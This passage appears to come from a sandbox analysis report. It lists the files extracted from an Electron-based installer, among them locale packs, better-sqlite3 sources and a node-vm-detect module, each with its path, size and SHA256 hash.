                    Submit Download

                    ar.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ar.pak
                    • Size 901KB
                    • SHA256 3883cff8aacb76e0ee906eb27eb5e5437674bb9af85bce1087fb49667d0c47d1
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    bg.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\bg.pak
                    • Size 938KB
                    • SHA256 c87083562fe57e1168aaed1f432e74372919c2008aa690ca6ce719f1787d9522
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    bn.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\bn.pak
                    • Size 1.2MB
                    • SHA256 09dc06e2f6fbf4089cad32a23151cdc8fd873c17def2e85eaad31353743aac70
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ca.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ca.pak
                    • Size 571KB
                    • SHA256 17db67b5c28354db5bfa08697fae29c3555728a6409a653e0f136216c2d05e6d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    cs.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\cs.pak
                    • Size 589KB
                    • SHA256 09483aa859d024639f5bd2325007b4d2a35ce339231e051a943e1f0eed1b3336
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    da.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\da.pak
                    • Size 533KB
                    • SHA256 19d135158a35608e646299defa1647743132a9436c0411ccce2b595ef9738b45
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    de.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\de.pak
                    • Size 569KB
                    • SHA256 954451a308b8c451f080ab628f53a16e6638c201b4d79a094ac5f3ae263c50e2
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    el.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\el.pak
                    • Size 1.0MB
                    • SHA256 627dfa327bd3971ae2f26048c247fcbeaa33b3301c3b78f72ec3f199a365ca2d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    en-GB.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\en-GB.pak
                    • Size 463KB
                    • SHA256 811cc30238e961c852267a897c579d6cbebfb957fde9be662d23e4ad989ec894
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    en-US.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\en-US.pak
                    • Size 467KB
                    • SHA256 de60674fcae1e9395cb9a2a2987dfbd97defba59dcf7e5e61a452602e38179c0
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    es-419.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\es-419.pak
                    • Size 562KB
                    • SHA256 99d5177b232925a00917b191ac358d88cd8e9a3eed73ed456ac4a62928345b49
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    es.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\es.pak
                    • Size 562KB
                    • SHA256 d66d7ac73c09edc6dd00dcb1b414bb662de6b588c06621764eb2e212db80fe9e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    et.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\et.pak
                    • Size 511KB
                    • SHA256 7b17cf34b75cbcf65476af00a0751f55f77ade6caa68513ab3629a5254742b9c
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fa.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\fa.pak
                    • Size 836KB
                    • SHA256 00a9c5e4915408b948667b7b5c5715fc3fc8e6d628210bf9a341a55e86b6dfd3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fi.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\fi.pak
                    • Size 522KB
                    • SHA256 c2e954d937baa4a8ad382d064d8c6b0ce2fc3375c576dde7b8f8adccb83e4bc5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fil.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\fil.pak
                    • Size 590KB
                    • SHA256 70e5b30013027e3406ee0a9953bb34e27229d3e0ff60758a7c53837336966833
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\fr.pak
                    • Size 609KB
                    • SHA256 fae930c71e897b3a6275d526384e9a5ac62fedc562b76904dd108b55b26f1246
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    gu.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\gu.pak
                    • Size 1.2MB
                    • SHA256 391a825c8f33718bc87ba6d8407e7fbe951b0fe554d0db689a6762eed38f3006
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    he.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\he.pak
                    • Size 734KB
                    • SHA256 1325b70d40e5d5019276c50b4777451875f6dda15e9bb4e23df0de404a2bf76a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    hi.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\hi.pak
                    • Size 1.2MB
                    • SHA256 92b057a1e57bef223a3fd8c4789c0b8b94825822a07c29b2e7c057853cc627ef
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    hr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\hr.pak
                    • Size 567KB
                    • SHA256 5df6daf8c34c3e74eea274c8d608b3a177f4d6070a3bfb481cec19ae853b58dc
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    hu.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\hu.pak
                    • Size 611KB
                    • SHA256 a09f07ffc112438f9e79b88907b7853de161bbb91a807af96f57d01339e365bf
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    id.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\id.pak
                    • Size 505KB
                    • SHA256 8bd54bf3b8cd369b4a92804c160bd3d2b888cc0a716d910c7a324569777f4e95
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    it.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\it.pak
                    • Size 554KB
                    • SHA256 d881daf64575dab20072130995d602d21381ec4536b7c57d862b511fc7b34e63
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ja.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ja.pak
                    • Size 675KB
                    • SHA256 c772f5030a7fa6437e8ec2161694566c8e22319b68c2a2d4777eea7b327f8142
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    kn.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\kn.pak
                    • Size 1.3MB
                    • SHA256 29e2613bc55ebf10dc0e6318233aaac0b39428a3af0b1e0867805ba60194e88e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ko.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ko.pak
                    • Size 572KB
                    • SHA256 6b32ceb4d71dc8fbebde2f4ca3a543dbc4963525345c9298e8daaa3279663340
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    lt.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\lt.pak
                    • Size 615KB
                    • SHA256 1334d488e5b1a8357cb480508c8f6ce2ad211a9997f347e9ed1b9f712c60f74d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    lv.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\lv.pak
                    • Size 614KB
                    • SHA256 2486f896cf18c55462835ad2f363866995cbb992d5d9d39239b569727afa58b0
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ml.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ml.pak
                    • Size 1.4MB
                    • SHA256 3335642c3f0c852beb595889d8a86431001133cb8c14c45bba688b764008b1d0
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    mr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\mr.pak
                    • Size 1.1MB
                    • SHA256 39b3080a83994129a5dd5222dce549640bf51de644da13f2769e836126b7b782
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ms.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ms.pak
                    • Size 529KB
                    • SHA256 0615106f5c7adbeccd9bb1ea207c8bbdf5e917499e3860103a3fa60069b835b2
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    nb.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\nb.pak
                    • Size 513KB
                    • SHA256 114ca3cf8ba38df9885e54feced2db9f25c789c12fbf41ded07e58ffeb7d852b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    nl.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\nl.pak
                    • Size 530KB
                    • SHA256 f7577370e356b5d1868b0faee46a3030aad4d7a72ff068e8910972862f7e43be
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    pl.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\pl.pak
                    • Size 591KB
                    • SHA256 4f12dccb61513bad8306c4f8865daf59d5f666c3540c81bb9c56ef52a972819f
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    pt-BR.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\pt-BR.pak
                    • Size 555KB
                    • SHA256 74f1be3440a80f55b028cb3c42f291fe41c1626267603d94f57fdececeda3358
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    pt-PT.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\pt-PT.pak
                    • Size 558KB
                    • SHA256 72d9a069944ccf2ac4a6ef44110a2e3e70e8aa550664bc70445947ff72847038
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ro.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ro.pak
                    • Size 579KB
                    • SHA256 432c9424a471857301b724035c973ad009502a7dec2a9df95ccfa73fc46dd0f9
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ru.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ru.pak
                    • Size 952KB
                    • SHA256 d9dd48e68d20de6d90f8ae074b4f0f94ad8a9a9fcf20fb86a9a2a41caa618ea5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sk.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\sk.pak
                    • Size 598KB
                    • SHA256 99ed2b13a2804a399a6f4bd5e5608221ffb5874229dea14c33ceb24d99dcbbea
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sl.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\sl.pak
                    • Size 574KB
                    • SHA256 d6a8d1e4539dc08fc4dd6ac5a048dc20047b6f202103e3782ce59e3f2d908696
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\sr.pak
                    • Size 884KB
                    • SHA256 de79d880a33f7ba3e5cd8ae457321671582e8fe513eb4e6f5b9e257f6fd3581d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sv.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\sv.pak
                    • Size 516KB
                    • SHA256 298cadec1174abc1b918bce83b22a09835cf8dcba87a3438dbe114bbc0463bd9
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sw.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\sw.pak
                    • Size 543KB
                    • SHA256 c39c3ada455757bfcaecc3d80652e79201d2264578d42d221c52d7c50a601b0e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ta.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ta.pak
                    • Size 1.4MB
                    • SHA256 c66ce9d65f8691cc431db79178e77bc615bc1f212b27a754d395e5c8adc0fe13
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    te.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\te.pak
                    • Size 1.3MB
                    • SHA256 4d9ba6b2727f5f62d90dd45019c68137f3d55efc23a85f62b4fa52ece972a073
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    th.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\th.pak
                    • Size 1.1MB
                    • SHA256 77209d15decca546704f621bf4e8d9269c56add000c057c568d0fe977c447e21
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    tr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\tr.pak
                    • Size 554KB
                    • SHA256 df9220e39703440ea7c9d9b74796ab5196fdd0ce7b5953af8813567f39ff500f
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    uk.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\uk.pak
                    • Size 952KB
                    • SHA256 b76695b9352440d27c0319f59cd66df2d8d76eb1162d5f78a8374748562ad210
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ur.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\ur.pak
                    • Size 831KB
                    • SHA256 78799d1065fe84bc64c8c851d5457639172830516ee5c74f08e210973908770e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vi.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\vi.pak
                    • Size 658KB
                    • SHA256 55bbd8fed3330da92aee877fb18640cf7c6391d7a6c6bb5aa2d072b4800d3ac4
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    zh-CN.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\zh-CN.pak
                    • Size 473KB
                    • SHA256 67e96bfc54394701cb91e112bb07b7b7042ce9f285db3332a19476af566444f6
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    zh-TW.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\zh-TW.pak
                    • Size 468KB
                    • SHA256 ed372b000597fce75c14edd18ccad1c99e2100be884b58a7e7498488163f2554
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    resources.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources.pak
                    • Size 5.4MB
                    • SHA256 1b57de129bdd967ada780cef37ece8f16a798368b1aa123f1097f389d20ee6cb
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    app.asar
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar
                    • Size 44.3MB
                    • SHA256 6baed92ef14e9a213407e55c1a4e9fde8044bbac9fa72e1ef793a2614f764c5d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SystemCore.dat
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\api\priv\SystemCore.dat
                    • Size 1.4MB
                    • SHA256 dae6675f14f34266d35a816c62ae174dc52ed2b04a4eface49a9e137d6b9c721
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    index.dat
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\index.dat
                    • Size 2.6MB
                    • SHA256 87da8408872ba8299640f23b5da0f3c39a561e071a2efe55224031c4456ee1fb
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    LICENSE
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\LICENSE
                    • Size 1KB
                    • SHA256 09856b52897c91ab67e7456ef43067019f31dfd3b87fda72e655736b1ebdee55
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    better_sqlite3.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.node
                    • Size 1.6MB
                    • SHA256 7bbe7704e4b68ca6c2c54ddc80df52413b3d14500aefbf6ef6b05316e3ca42ef
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    common.gypi
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\common.gypi
                    • Size 1KB
                    • SHA256 e71a565cd7733e05efc3a2792b54e260126f03f490325aa2a201202acbbdb315
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    copy.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\copy.js
                    • Size 897B
                    • SHA256 05a2bd41dbd96e33e2fc6cf4bcbc722b4bc8c529813b882f92113d7dbbbece67
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    defines.gypi
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\defines.gypi
                    • Size 1KB
                    • SHA256 1ffa84b8af99780a293dcb7a9031c2dccc8b0d013aef434a35c283cc6c984f2e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    download.sh
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\download.sh
                    • Size 3KB
                    • SHA256 5de8af6e9f41fc1b5f6d280cdc55d62c2a210faf722c7e529b6b3427be7c80a8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    1208.patch
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\patches\1208.patch
                    • Size 597B
                    • SHA256 5d1f22d69fee3551b70a7b7b9b14be43fcfd04dbc8683233667abfa75905011a
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sqlite3.gyp
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3.gyp
                    • Size 2KB
                    • SHA256 a009b8f80cf0a944eacaf71a84e590504f353fbd8f8b341138d0c3094e372d18
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sqlite3.c
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3.c
                    • Size 8.8MB
                    • SHA256 e80215754ac6cfaefe272342efd581b6dbefdbdc21f96bd83fcb698bee9d36a5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sqlite3.h
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3.h
                    • Size 643KB
                    • SHA256 2198c66d4c59ae86421590c27fd53309ec14a595ae31c0c7143247444018a0bd
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sqlite3ext.h
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3ext.h
                    • Size 37KB
                    • SHA256 b184dd1586d935133d37ad76fa353faf0a1021ff2fdedeedcc3498fff74bbb94
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    test_extension.c
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\test_extension.c
                    • Size 587B
                    • SHA256 948af88dbf356835f5496c1a3d047fdbcc58f3717aa9bc94d0943d7de2b7cf5b
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    database.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\database.js
                    • Size 4KB
                    • SHA256 50fe0b490f29174d961c4d1ae54f22973447ff1255fd710e785d201c0ebfb4d0
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    index.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\index.js
                    • Size 110B
                    • SHA256 82db11c4ee43a41d859988c5db42c3771dff565371f94bacbd1e4d8d6ceb47cd
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    aggregate.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\aggregate.js
                    • Size 1KB
                    • SHA256 e9f74eb919ec93fe089c95ddf25a98f1f631c80418fa34fb2346ca1bc29f1b82
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    backup.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\backup.js
                    • Size 2KB
                    • SHA256 ea29d34992bb02e006d0fdeda9675ac5d2bb227aaf57468decd997e9fc9c7dbf
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    function.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\function.js
                    • Size 1KB
                    • SHA256 f431d49303b8bbdc044b1f1b455bdad21fc9b74b007de0acb22f08f25b4febd3
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    inspect.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\inspect.js
                    • Size 174B
                    • SHA256 4975a78daee850adee62ba98719d0f223819a0ec135a07c0e302994bd8dbff61
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    pragma.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\pragma.js
                    • Size 536B
                    • SHA256 8b1c54475bd4340b15e25c50d53d06308be65f8f919ecbe4aa9d285ca859ad5a
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    serialize.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\serialize.js
                    • Size 625B
                    • SHA256 7a10ee5c2735384b7f0c361811bc6d017db29f62b203fd3c68a35f667e2c2605
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    table.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\table.js
                    • Size 6KB
                    • SHA256 97c42d9ded1aa96c7d916b5b92f96b4e59581d50eaf629cd2c7afb78ff26a9ea
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    transaction.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\transaction.js
                    • Size 2KB
                    • SHA256 bc8624a3ef689d8f78e5669020ad121e17acbc93b1d5ee5afe26860b1084c66c
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    wrappers.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\wrappers.js
                    • Size 1KB
                    • SHA256 a150a6271d23f4e5f8953b129f370ff096c7cdc4b812afbf080a6cf4ab741bcf
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sqlite-error.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\sqlite-error.js
                    • Size 717B
                    • SHA256 2582d61c27680dead168543f392eb102be621dfbef282a4ca4c7c21aa5e7c75d
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    util.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\util.js
                    • Size 331B
                    • SHA256 92b2e39e2151b43a2252e10b6d6de876ecaf0008336a4fa1dfe1317b20f1916f
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    package.json
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\package.json
                    • Size 789B
                    • SHA256 7de814561f018b0a493fbdaf7026cd4053937de66736be0175d1d0f7727ab4b4
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    better_sqlite3.cpp
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\src\better_sqlite3.cpp
                    • Size 129KB
                    • SHA256 551abc7d9feea0ad2acb97f33125c5e8800d6d84a1da4390512d08743f924b1e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    better_sqlite3.hpp
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\src\better_sqlite3.hpp
                    • Size 42KB
                    • SHA256 689831cdf547d53b2156fa66088f04b89ed71173f4a832300230ff765879f6bf
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    LICENSE
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\LICENSE
                    • Size 1KB
                    • SHA256 773de8cc68a89212ad93589b3fe9abcdc64e573cec2c684af844dcc9e7646ef5
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    cli.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\cli.js
                    • Size 40KB
                    • SHA256 1e350f69922fae919608c966aaad02f3660851a1d6814bc74662e8568444180c
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vmDetect.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\darwin\arm64\vmDetect.node
                    • Size 161KB
                    • SHA256 04b07f23c2aa2b1a3f19580deba5632fcbfa3c55404b465d4312b8e177e1d46d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vmDetect.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\darwin\x64\vmDetect.node
                    • Size 175KB
                    • SHA256 9a661ba191c79ace197525e75191902fd9f62c508a0b4113eea282003ebcfe6a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    index.cjs
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\index.cjs
                    • Size 1KB
                    • SHA256 5eab9a38b20f28ad36d8872c8cd5b9f7045199ed0234523d13805179fd915afd
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    index.esm.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\index.esm.js
                    • Size 1KB
                    • SHA256 a5a7de769c38039a77e77974848c8d43aa1ad461b96c73276f8f895f1affba2b
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    vmDetect.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\linux\arm64\vmDetect.node
                    • Size 314KB
